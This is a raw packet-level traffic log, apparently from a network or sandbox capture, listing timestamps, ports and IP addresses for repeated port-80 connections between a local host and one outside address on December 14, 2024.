Dec 14, 2024 21:39:32.794382095 CET	80	49756	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:32.797236919 CET	49756	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:32.906928062 CET	49757	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:32.917623043 CET	80	49756	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:32.917907000 CET	49756	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:33.027368069 CET	80	49757	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:33.027825117 CET	49757	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:33.048440933 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:33.090019941 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:33.137584925 CET	49757	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:33.257683992 CET	80	49757	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:34.330568075 CET	80	49757	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:34.331054926 CET	49757	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:34.355590105 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:34.436291933 CET	49758	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:34.451440096 CET	80	49757	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:34.451529026 CET	49757	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:34.475573063 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:34.556771994 CET	80	49758	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:34.556869984 CET	49758	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:34.667948008 CET	49758	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:34.777625084 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:34.789689064 CET	80	49758	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:34.824086905 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:35.861650944 CET	80	49758	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:35.868191957 CET	49758	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:35.982294083 CET	49759	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:35.989906073 CET	80	49758	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:35.993130922 CET	49758	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:35.996155977 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:36.106013060 CET	80	49759	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:36.106091022 CET	49759	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:36.119733095 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:36.214952946 CET	49759	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:36.335182905 CET	80	49759	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:36.420634031 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:36.464698076 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:37.437509060 CET	80	49759	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:37.439088106 CET	49759	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:37.543169022 CET	49760	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:37.559444904 CET	80	49759	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:37.559712887 CET	49759	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:37.664105892 CET	80	49760	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:37.664462090 CET	49760	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:37.778712034 CET	49760	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:37.793031931 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:37.899661064 CET	80	49760	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:37.913502932 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:38.214843035 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:38.261609077 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:38.966927052 CET	80	49760	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:38.967289925 CET	49760	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:39.088485003 CET	80	49760	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:39.088711023 CET	49760	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:39.090253115 CET	49761	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:39.210463047 CET	80	49761	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:39.210572958 CET	49761	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:39.324410915 CET	49761	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:39.447228909 CET	80	49761	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:39.953480005 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:40.074960947 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:40.376125097 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:40.417994976 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:40.536264896 CET	80	49761	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:40.536550999 CET	49761	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:40.640861034 CET	49762	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:40.657202959 CET	80	49761	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:40.657445908 CET	49761	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:40.762216091 CET	80	49762	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:40.762351036 CET	49762	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:40.871141911 CET	49762	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:40.997744083 CET	80	49762	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:42.078727961 CET	80	49762	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:42.079334974 CET	49762	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:42.183860064 CET	49763	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:42.200098038 CET	80	49762	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:42.200319052 CET	49762	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:42.305155039 CET	80	49763	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:42.305233002 CET	49763	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:42.371146917 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:42.418107986 CET	49763	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:42.493330002 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:42.540584087 CET	80	49763	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:42.794563055 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:42.839720011 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:43.634465933 CET	80	49763	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:43.634682894 CET	49763	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:43.747596025 CET	49764	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:43.754967928 CET	80	49763	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:43.755064964 CET	49763	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:43.840662956 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:43.869066954 CET	80	49764	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:43.869199991 CET	49764	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:43.961137056 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:43.980496883 CET	49764	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:44.100826979 CET	80	49764	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:44.263153076 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:44.308470011 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:45.174374104 CET	80	49764	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:45.174709082 CET	49764	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:45.277601957 CET	49765	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:45.296083927 CET	80	49764	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:45.296189070 CET	49764	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:45.397768974 CET	80	49765	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:45.397954941 CET	49765	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:45.511683941 CET	49765	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:45.634900093 CET	80	49765	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:45.871221066 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:45.991539955 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:46.292723894 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:46.339924097 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:46.698750019 CET	80	49765	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:46.699163914 CET	49765	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:46.809052944 CET	49766	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:46.819408894 CET	80	49765	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:46.819499016 CET	49765	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:46.929228067 CET	80	49766	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:46.929758072 CET	49766	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:47.043431997 CET	49766	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:47.163775921 CET	80	49766	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:48.256105900 CET	80	49766	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:48.256483078 CET	49766	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:48.262037039 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:48.371421099 CET	49767	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:48.376929045 CET	80	49766	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:48.377147913 CET	49766	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:48.382112026 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:48.491700888 CET	80	49767	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:48.491993904 CET	49767	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:48.605483055 CET	49767	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:48.686804056 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:48.725477934 CET	80	49767	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:48.730426073 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:49.803189039 CET	80	49767	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:49.803330898 CET	49767	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:49.918184996 CET	49768	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:49.924432039 CET	80	49767	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:49.924892902 CET	49767	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:50.038943052 CET	80	49768	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:50.039201975 CET	49768	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:50.152354956 CET	49768	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:50.272496939 CET	80	49768	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:50.652514935 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:50.776159048 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:51.076772928 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:51.121355057 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:51.358875036 CET	80	49768	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:51.359286070 CET	49768	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:51.465487957 CET	49769	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:51.480175972 CET	80	49768	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:51.480546951 CET	49768	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:51.589770079 CET	80	49769	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:51.589845896 CET	49769	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:51.699259996 CET	49769	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:51.820709944 CET	80	49769	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:52.889554024 CET	80	49769	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:52.889836073 CET	49769	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:52.996471882 CET	49770	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:53.016382933 CET	80	49769	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:53.016767979 CET	49769	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:53.074517965 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:53.117108107 CET	80	49770	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:53.117512941 CET	49770	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:53.196166039 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:53.230562925 CET	49770	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:53.351057053 CET	80	49770	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:53.503777027 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:53.558630943 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:54.419624090 CET	80	49770	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:54.420151949 CET	49770	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:54.530361891 CET	49771	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:54.540781021 CET	80	49770	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:54.540884018 CET	49770	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:54.650577068 CET	80	49771	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:54.650692940 CET	49771	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:54.761779070 CET	49771	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:54.881917953 CET	80	49771	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:55.399254084 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:55.519541979 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:55.820914984 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:55.871222973 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:55.972635031 CET	80	49771	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:55.973063946 CET	49771	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:56.074580908 CET	49772	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:56.094188929 CET	80	49771	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:56.094574928 CET	49771	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:56.194545984 CET	80	49772	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:56.195043087 CET	49772	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:56.308515072 CET	49772	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:56.430351973 CET	80	49772	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:57.512021065 CET	80	49772	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:57.512090921 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:57.512156963 CET	49772	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:57.622245073 CET	49773	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:57.633332014 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:57.633754015 CET	80	49772	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:57.633882999 CET	49772	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:57.742562056 CET	80	49773	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:57.742780924 CET	49773	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:57.855604887 CET	49773	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:57.951190948 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:57.976011038 CET	80	49773	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:57.996279955 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:59.042907000 CET	80	49773	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:59.043118954 CET	49773	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:59.152704954 CET	49775	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:59.167560101 CET	80	49773	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:59.167781115 CET	49773	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:59.273288965 CET	80	49775	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:59.273518085 CET	49775	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:59.386678934 CET	49775	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:39:59.506957054 CET	80	49775	154.216.16.83	192.168.2.4
Dec 14, 2024 21:39:59.886885881 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:00.008255959 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:00.309490919 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:00.355741978 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:00.575773954 CET	80	49775	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:00.575891972 CET	49775	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:00.683722019 CET	49776	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:00.759109974 CET	80	49775	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:00.759181976 CET	49775	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:00.803821087 CET	80	49776	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:00.803908110 CET	49776	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:00.917982101 CET	49776	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:01.041023016 CET	80	49776	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:02.104239941 CET	80	49776	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:02.105030060 CET	49776	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:02.168100119 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:02.215305090 CET	49783	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:02.229542017 CET	80	49776	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:02.229620934 CET	49776	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:02.292855024 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:02.336921930 CET	80	49783	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:02.337368011 CET	49783	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:02.449403048 CET	49783	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:02.569576979 CET	80	49783	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:02.598282099 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:02.652220011 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:03.662786007 CET	80	49783	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:03.662995100 CET	49783	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:03.777657986 CET	49789	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:03.785074949 CET	80	49783	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:03.785377026 CET	49783	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:03.897661924 CET	80	49789	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:03.897806883 CET	49789	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:04.011889935 CET	49789	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:04.131793022 CET	80	49789	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:04.386774063 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:04.508192062 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:04.809366941 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:04.855731964 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:05.206315041 CET	80	49789	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:05.207178116 CET	49789	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:05.308854103 CET	49790	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:05.328700066 CET	80	49789	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:05.328768969 CET	49789	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:05.429414034 CET	80	49790	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:05.429961920 CET	49790	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:05.543299913 CET	49790	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:05.663949966 CET	80	49790	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:06.480751038 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:06.603068113 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:06.728760004 CET	80	49790	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:06.728991032 CET	49790	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:06.840111971 CET	49796	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:06.849585056 CET	80	49790	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:06.849672079 CET	49790	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:06.903873920 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:06.949126959 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:06.960223913 CET	80	49796	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:06.960314989 CET	49796	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:07.074151039 CET	49796	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:07.195307016 CET	80	49796	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:07.839849949 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:08.113159895 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:08.262576103 CET	80	49796	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:08.262814045 CET	49796	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:08.371521950 CET	49802	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:08.383295059 CET	80	49796	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:08.383387089 CET	49796	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:08.414110899 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:08.464739084 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:08.491650105 CET	80	49802	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:08.491844893 CET	49802	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:08.605895042 CET	49802	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:08.726345062 CET	80	49802	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:09.636804104 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:09.826715946 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:09.826822042 CET	80	49802	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:09.826950073 CET	49802	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:09.934189081 CET	49803	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:09.948627949 CET	80	49802	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:09.948872089 CET	49802	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:10.054963112 CET	80	49803	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:10.055099010 CET	49803	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:10.057503939 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:10.105484009 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:10.167886019 CET	49803	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:10.315396070 CET	80	49803	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:11.152618885 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:11.273011923 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:11.358376026 CET	80	49803	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:11.358556986 CET	49803	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:11.465425014 CET	49809	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:11.478988886 CET	80	49803	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:11.479249001 CET	49803	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:11.574089050 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:11.585614920 CET	80	49809	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:11.585872889 CET	49809	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:11.621117115 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:11.699331999 CET	49809	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:11.819958925 CET	80	49809	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:12.683913946 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:12.804125071 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:12.888777018 CET	80	49809	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:12.888917923 CET	49809	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:13.000541925 CET	49815	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:13.011205912 CET	80	49809	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:13.011415958 CET	49809	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:13.105024099 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:13.125442982 CET	80	49815	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:13.125544071 CET	49815	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:13.152369022 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:13.230511904 CET	49815	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:13.356249094 CET	80	49815	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:14.027611971 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:14.147825956 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:14.430507898 CET	80	49815	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:14.431011915 CET	49815	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:14.448854923 CET	80	49740	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:14.496113062 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:14.543258905 CET	49819	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:14.552093983 CET	80	49815	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:14.552391052 CET	49815	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:14.663084984 CET	80	49819	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:14.663176060 CET	49819	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:14.777371883 CET	49819	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:14.897440910 CET	80	49819	154.216.16.83	192.168.2.4
Dec 14, 2024 21:40:15.433835983 CET	49740	80	192.168.2.4	154.216.16.83
Dec 14, 2024 21:40:15.556448936 CET	80	49740	154.216.16.83	192.168.2.4
